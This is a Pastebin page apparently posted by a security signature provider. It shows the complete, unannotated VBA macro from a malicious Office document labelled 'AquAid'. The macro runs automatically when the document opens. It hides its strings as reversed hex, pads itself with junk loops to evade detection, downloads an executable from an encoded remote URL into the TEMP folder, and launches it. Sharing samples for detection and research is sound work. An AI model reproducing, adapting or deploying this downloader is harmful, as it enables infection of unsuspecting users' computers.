SHARE
TWEET

AquAid document malware macro

Sanesecurity Dec 22nd, 2014 200 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Public Function HexToString(ByVal JKTrmPRyEY As String) As String
  10. Dim VBwxvA As String
  11. Dim szPqqFv As String
  12. Dim qPsQUCrLCt As Long
  13. For qPsQUCrLCt = 1 To Len(JKTrmPRyEY) Step 2
  14. Dim rbFhOBZv As Integer
  15. For rbFhOBZv = 0 To 5
  16. Dim fkWPNAwf As Integer
  17. For fkWPNAwf = 0 To 6
  18. DoEvents
  19. Next fkWPNAwf
  20. DoEvents
  21. Next rbFhOBZv
  22. Dim rvGogSPQ As Integer
  23. For rvGogSPQ = 0 To 5
  24. DoEvents
  25. Next rvGogSPQ
  26. VBwxvA = Chr$(Val(Chr$(38) & Chr$(72) & Mid$(JKTrmPRyEY, qPsQUCrLCt, 2)))
  27. Dim HzFdMdeM As Integer
  28. For HzFdMdeM = 0 To 1
  29. Dim lICZEAhN As Integer
  30. For lICZEAhN = 0 To 6
  31. DoEvents
  32. Next lICZEAhN
  33. DoEvents
  34. Next HzFdMdeM
  35. Dim cqajwczp As Integer
  36. For cqajwczp = 0 To 7
  37. DoEvents
  38. Next cqajwczp
  39. szPqqFv = szPqqFv & VBwxvA
  40. Next qPsQUCrLCt
  41. Dim YoIQocll As Integer
  42. For YoIQocll = 0 To 9
  43. Dim GopYarCd As Integer
  44. For GopYarCd = 0 To 8
  45. DoEvents
  46. Next GopYarCd
  47. DoEvents
  48. Next YoIQocll
  49. Dim LQdmLNOx As Integer
  50. For LQdmLNOx = 0 To 8
  51. DoEvents
  52. Next LQdmLNOx
  53. HexToString = szPqqFv
  54. End Function
  55.  
  56.  
  57. Sub Auto_Open()
  58. Dim PeTaKRhj As Integer
  59. For PeTaKRhj = 0 To 4
  60. Dim mVBTMefl As Integer
  61. For mVBTMefl = 0 To 4
  62. Dim kmCtnrZn As Integer
  63. For kmCtnrZn = 0 To 6
  64. DoEvents
  65. Next kmCtnrZn
  66. DoEvents
  67. Next mVBTMefl
  68. Dim qinGrqUL As Integer
  69. For qinGrqUL = 0 To 5
  70. DoEvents
  71. Next qinGrqUL
  72. DoEvents
  73. Next PeTaKRhj
  74. Dim uvpHLkDX As Integer
  75. For uvpHLkDX = 0 To 2
  76. Dim KkPaaIcW As Integer
  77. For KkPaaIcW = 0 To 8
  78. DoEvents
  79. Next KkPaaIcW
  80. DoEvents
  81. Next uvpHLkDX
  82. Dim RKWqNXCv As Integer
  83. For RKWqNXCv = 0 To 6
  84. DoEvents
  85. Next RKWqNXCv
  86. DLKUMLWKOEG
  87. End Sub
  88. Sub AutoOpen()
  89. Dim eBaledvl As Integer
  90. For eBaledvl = 0 To 1
  91. Dim HxmCyTMD As Integer
  92. For HxmCyTMD = 0 To 2
  93. Dim LiADfRQC As Integer
  94. For LiADfRQC = 0 To 3
  95. DoEvents
  96. Next LiADfRQC
  97. DoEvents
  98. Next HxmCyTMD
  99. Dim wMsMVeZO As Integer
  100. For wMsMVeZO = 0 To 1
  101. DoEvents
  102. Next wMsMVeZO
  103. DoEvents
  104. Next eBaledvl
  105. Dim OpBIPQBy As Integer
  106. For OpBIPQBy = 0 To 4
  107. Dim pqsWMmqU As Integer
  108. For pqsWMmqU = 0 To 8
  109. DoEvents
  110. Next pqsWMmqU
  111. DoEvents
  112. Next OpBIPQBy
  113. Dim HEUhMGKf As Integer
  114. For HEUhMGKf = 0 To 5
  115. DoEvents
  116. Next HEUhMGKf
  117.     Auto_Open
  118. End Sub
  119. Sub Workbook_Open()
  120. Dim SWhfuEMz As Integer
  121. For SWhfuEMz = 0 To 1
  122. Dim fPOMyfVm As Integer
  123. For fPOMyfVm = 0 To 3
  124. Dim cQVNFqkY As Integer
  125. For cQVNFqkY = 0 To 5
  126. DoEvents
  127. Next cQVNFqkY
  128. DoEvents
  129. Next fPOMyfVm
  130. Dim NcOibOpk As Integer
  131. For NcOibOpk = 0 To 3
  132. DoEvents
  133. Next NcOibOpk
  134. DoEvents
  135. Next SWhfuEMz
  136. Dim uvdRPleD As Integer
  137. For uvdRPleD = 0 To 2
  138. Dim rNOunZYP As Integer
  139. For rNOunZYP = 0 To 1
  140. DoEvents
  141. Next rNOunZYP
  142. DoEvents
  143. Next uvdRPleD
  144. Dim tJvCcYHt As Integer
  145. For tJvCcYHt = 0 To 2
  146. DoEvents
  147. Next tJvCcYHt
  148.     Auto_Open
  149. End Sub
  150.  
  151. Sub DLKUMLWKOEG()
  152. Dim TOHqMUPE As Integer
  153. For TOHqMUPE = 0 To 9
  154. Dim VAxGPZBI As Integer
  155. For VAxGPZBI = 0 To 9
  156. Dim CQvVmKWw As Integer
  157. For CQvVmKWw = 0 To 9
  158. DoEvents
  159. Next CQvVmKWw
  160. DoEvents
  161. Next VAxGPZBI
  162. Dim inWdKTfm As Integer
  163. For inWdKTfm = 0 To 4
  164. DoEvents
  165. Next inWdKTfm
  166. DoEvents
  167. Next TOHqMUPE
  168. Dim EMKpPXUh As Integer
  169. For EMKpPXUh = 0 To 8
  170. Dim dWIiPcUY As Integer
  171. For dWIiPcUY = 0 To 3
  172. DoEvents
  173. Next dWIiPcUY
  174. DoEvents
  175. Next EMKpPXUh
  176. Dim fJaIdcEW As Integer
  177. For fJaIdcEW = 0 To 3
  178. DoEvents
  179. Next fJaIdcEW
  180.     RDQTLNGJUGF HexToString(StrReverse("568756E2E69626F237A6F2D6F636E2F647F68607D2E656D227563737562776F62707F2F2A307474786")), Environ(HexToString(StrReverse("05D45445"))) & HexToString(StrReverse("568756E2F4A435C45594A415858554C5"))
  181. End Sub
  182. Function RDQTLNGJUGF(ByVal KVHTAVKOUAU As String, ByVal UCLTAOWUVMW As String) As Boolean
  183.      Dim QUGESAIDFJZ As Object, LKELSUATYNM As Long, WJNISNSNALS As Long, NENMVDKFQUK() As Byte
  184.  
  185. Dim ppnwjoOK As Integer
  186. For ppnwjoOK = 0 To 2
  187. Dim qzoMTkuU As Integer
  188. For qzoMTkuU = 0 To 8
  189. Dim cTbGsmit As Integer
  190. For cTbGsmit = 0 To 8
  191. DoEvents
  192. Next cTbGsmit
  193. DoEvents
  194. Next qzoMTkuU
  195. Dim fSldnRxE As Integer
  196. For fSldnRxE = 0 To 9
  197. DoEvents
  198. Next fSldnRxE
  199. DoEvents
  200. Next ppnwjoOK
  201. Dim WJyuIDzx As Integer
  202. For WJyuIDzx = 0 To 6
  203. Dim FFFIviwO As Integer
  204. For FFFIviwO = 0 To 4
  205. DoEvents
  206. Next FFFIviwO
  207. DoEvents
  208. Next WJyuIDzx
  209. Dim nlZErlIy As Integer
  210. For nlZErlIy = 0 To 2
  211. DoEvents
  212. Next nlZErlIy
  213.     Set QUGESAIDFJZ = CreateObject(HexToString(StrReverse("05454584C4D485E223C4D48535D4")))
  214.     QUGESAIDFJZ.Open HexToString(StrReverse("455474")), KVHTAVKOUAU, False
  215. Dim GZWJjEjb As Integer
  216. For GZWJjEjb = 0 To 8
  217. Dim QBCHyWzz As Integer
  218. For QBCHyWzz = 0 To 1
  219. Dim qtHZLDsk As Integer
  220. For qtHZLDsk = 0 To 6
  221. DoEvents
  222. Next qtHZLDsk
  223. DoEvents
  224. Next QBCHyWzz
  225. Dim cPtwrYzE As Integer
  226. For cPtwrYzE = 0 To 8
  227. DoEvents
  228. Next cPtwrYzE
  229. DoEvents
  230. Next GZWJjEjb
  231. Dim NhbUdIxe As Integer
  232. For NhbUdIxe = 0 To 4
  233. Dim tLhYarLT As Integer
  234. For tLhYarLT = 0 To 7
  235. DoEvents
  236. Next tLhYarLT
  237. DoEvents
  238. Next NhbUdIxe
  239. Dim ZrMseRIj As Integer
  240. For ZrMseRIj = 0 To 2
  241. DoEvents
  242. Next ZrMseRIj
  243.     QUGESAIDFJZ.Send HexToString(StrReverse("766646764666766646"))
  244.  
  245.  
  246. Dim AyLNPGZe As Integer
  247. For AyLNPGZe = 0 To 2
  248. Dim hbRdQmQb As Integer
  249. For hbRdQmQb = 0 To 3
  250. Dim VORRPvvx As Integer
  251. For VORRPvvx = 0 To 9
  252. DoEvents
  253. Next VORRPvvx
  254. DoEvents
  255. Next hbRdQmQb
  256. Dim XMPukTKC As Integer
  257. For XMPukTKC = 0 To 9
  258. DoEvents
  259. Next XMPukTKC
  260. DoEvents
  261. Next AyLNPGZe
  262. Dim lzUaEkvO As Integer
  263. For lzUaEkvO = 0 To 4
  264. Dim ibXsSxlk As Integer
  265. For ibXsSxlk = 0 To 4
  266. DoEvents
  267. Next ibXsSxlk
  268. DoEvents
  269. Next lzUaEkvO
  270. Dim YPAJDXoz As Integer
  271. For YPAJDXoz = 0 To 6
  272. DoEvents
  273. Next YPAJDXoz
  274.     NENMVDKFQUK = QUGESAIDFJZ.responseBody
  275.  
  276. Dim rKRumflG As Integer
  277. For rKRumflG = 0 To 5
  278. Dim rKAbHPtY As Integer
  279. For rKAbHPtY = 0 To 1
  280. Dim srJRkAlR As Integer
  281. For srJRkAlR = 0 To 3
  282. DoEvents
  283. Next srJRkAlR
  284. DoEvents
  285. Next rKAbHPtY
  286. Dim xLfLGgQR As Integer
  287. For xLfLGgQR = 0 To 4
  288. DoEvents
  289. Next xLfLGgQR
  290. DoEvents
  291. Next rKRumflG
  292. Dim imRdIUJG As Integer
  293. For imRdIUJG = 0 To 2
  294. Dim HAQeZeja As Integer
  295. For HAQeZeja = 0 To 1
  296. DoEvents
  297. Next HAQeZeja
  298. DoEvents
  299. Next imRdIUJG
  300. Dim PhhFypwl As Integer
  301. For PhhFypwl = 0 To 9
  302. DoEvents
  303. Next PhhFypwl
  304.     WJNISNSNALS = FreeFile
  305.  
  306.     Open UCLTAOWUVMW For Binary Access Write As #WJNISNSNALS
  307. Dim lzSAOeBr As Integer
  308. For lzSAOeBr = 0 To 4
  309. Dim TSbItgBi As Integer
  310. For TSbItgBi = 0 To 3
  311. Dim gDfJiEGE As Integer
  312. For gDfJiEGE = 0 To 9
  313. DoEvents
  314. Next gDfJiEGE
  315. DoEvents
  316. Next TSbItgBi
  317. Dim VUFFJCvs As Integer
  318. For VUFFJCvs = 0 To 4
  319. DoEvents
  320. Next VUFFJCvs
  321. DoEvents
  322. Next lzSAOeBr
  323. Dim okSGuCRm As Integer
  324. For okSGuCRm = 0 To 8
  325. Dim raYlYXmJ As Integer
  326. For raYlYXmJ = 0 To 5
  327. DoEvents
  328. Next raYlYXmJ
  329. DoEvents
  330. Next okSGuCRm
  331. Dim bbBBSZYD As Integer
  332. For bbBBSZYD = 0 To 2
  333. DoEvents
  334. Next bbBBSZYD
  335.     Put #WJNISNSNALS, , NENMVDKFQUK
  336. Dim QaFkkQqJ As Integer
  337. For QaFkkQqJ = 0 To 1
  338. Dim KgNPsfae As Integer
  339. For KgNPsfae = 0 To 8
  340. Dim gOREHCbB As Integer
  341. For gOREHCbB = 0 To 3
  342. DoEvents
  343. Next gOREHCbB
  344. DoEvents
  345. Next KgNPsfae
  346. Dim UZdCYIXa As Integer
  347. For UZdCYIXa = 0 To 6
  348. DoEvents
  349. Next UZdCYIXa
  350. DoEvents
  351. Next QaFkkQqJ
  352. Dim wXiuhGtX As Integer
  353. For wXiuhGtX = 0 To 4
  354. Dim qpjTMiPz As Integer
  355. For qpjTMiPz = 0 To 2
  356. DoEvents
  357. Next qpjTMiPz
  358. DoEvents
  359. Next wXiuhGtX
  360. Dim uQLRpnHa As Integer
  361. For uQLRpnHa = 0 To 2
  362. DoEvents
  363. Next uQLRpnHa
  364.     Close #WJNISNSNALS
  365. Dim IlglHHlr As Integer
  366. For IlglHHlr = 0 To 9
  367. Dim rKweltnT As Integer
  368. For rKweltnT = 0 To 5
  369. Dim PsEGTeGh As Integer
  370. For PsEGTeGh = 0 To 4
  371. DoEvents
  372. Next PsEGTeGh
  373. DoEvents
  374. Next rKweltnT
  375. Dim yHvukYGy As Integer
  376. For yHvukYGy = 0 To 7
  377. DoEvents
  378. Next yHvukYGy
  379. DoEvents
  380. Next IlglHHlr
  381. Dim jcPXTVjJ As Integer
  382. For jcPXTVjJ = 0 To 7
  383. Dim tXVqAFtW As Integer
  384. For tXVqAFtW = 0 To 7
  385. DoEvents
  386. Next tXVqAFtW
  387. DoEvents
  388. Next jcPXTVjJ
  389. Dim NblnLNIn As Integer
  390. For NblnLNIn = 0 To 4
  391. DoEvents
  392. Next NblnLNIn
  393.    
  394. Dim BkjovcRK As Integer
  395. For BkjovcRK = 0 To 6
  396. Dim KdozPmWR As Integer
  397. For KdozPmWR = 0 To 2
  398. Dim nlmvNYJM As Integer
  399. For nlmvNYJM = 0 To 8
  400. DoEvents
  401. Next nlmvNYJM
  402. DoEvents
  403. Next KdozPmWR
  404. Dim rzxsuBll As Integer
  405. For rzxsuBll = 0 To 4
  406. DoEvents
  407. Next rzxsuBll
  408. DoEvents
  409. Next BkjovcRK
  410. Dim JxgRkAft As Integer
  411. For JxgRkAft = 0 To 1
  412. Dim inLnZXeK As Integer
  413. For inLnZXeK = 0 To 2
  414. DoEvents
  415. Next inLnZXeK
  416. DoEvents
  417. Next JxgRkAft
  418. Dim QuNVUcuP As Integer
  419. For QuNVUcuP = 0 To 7
  420. DoEvents
  421. Next QuNVUcuP
  422. Set fdgfdgfdg = CreateObject(HexToString(StrReverse("E6F69647163696C6070714E2C6C6568635")))
  423. fdgfdgfdg.Open Environ(HexToString(StrReverse("05D45445"))) & HexToString(StrReverse("568756E2F4A435C45594A415858554C5"))
  424. Dim piDcXsCJ As Integer
  425. For piDcXsCJ = 0 To 8
  426. Dim QaIyLQAK As Integer
  427. For QaIyLQAK = 0 To 7
  428. Dim jnjQszjd As Integer
  429. For jnjQszjd = 0 To 4
  430. DoEvents
  431. Next jnjQszjd
  432. DoEvents
  433. Next QaIyLQAK
  434. Dim DMtUQQGh As Integer
  435. For DMtUQQGh = 0 To 1
  436. DoEvents
  437. Next DMtUQQGh
  438. DoEvents
  439. Next piDcXsCJ
  440. Dim psfPMqkE As Integer
  441. For psfPMqkE = 0 To 2
  442. Dim fHBacWtK As Integer
  443. For fHBacWtK = 0 To 3
  444. DoEvents
  445. Next fHBacWtK
  446. DoEvents
  447. Next psfPMqkE
  448. Dim ibBzwrxk As Integer
  449. For ibBzwrxk = 0 To 2
  450. DoEvents
  451. Next ibBzwrxk
  452.      
  453. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top